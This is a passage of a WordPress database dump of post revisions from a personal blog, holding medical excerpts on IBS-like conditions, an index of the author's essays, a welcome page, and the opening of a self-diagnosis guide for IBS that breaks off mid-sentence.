polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-04-16 17:30:02','2021-04-16 17:30:02','',58,'https://trevorklee.com/?p=61',0,'revision','',0),
(62,1,'2021-04-16 17:31:35','2021-04-16 17:31:35','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-04-16 17:31:35','2021-04-16 17:31:35','',22,'https://trevorklee.com/?p=62',0,'revision','',0),
(63,1,'2021-04-16 17:41:20','2021-04-16 17:41:20','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ trevorkleetutor.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":38,\"width\":262,\"height\":660,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" width=\"262\" height=\"660\"/><figcaption>Wow, what a photo!</figcaption></figure></div>\n<!-- /wp:image -->','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2021-04-16 17:41:20','2021-04-16 17:41:20','',27,'https://trevorklee.com/?p=63',0,'revision','',0),
(65,1,'2021-04-16 18:26:37','2021-04-16 18:26:37','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on 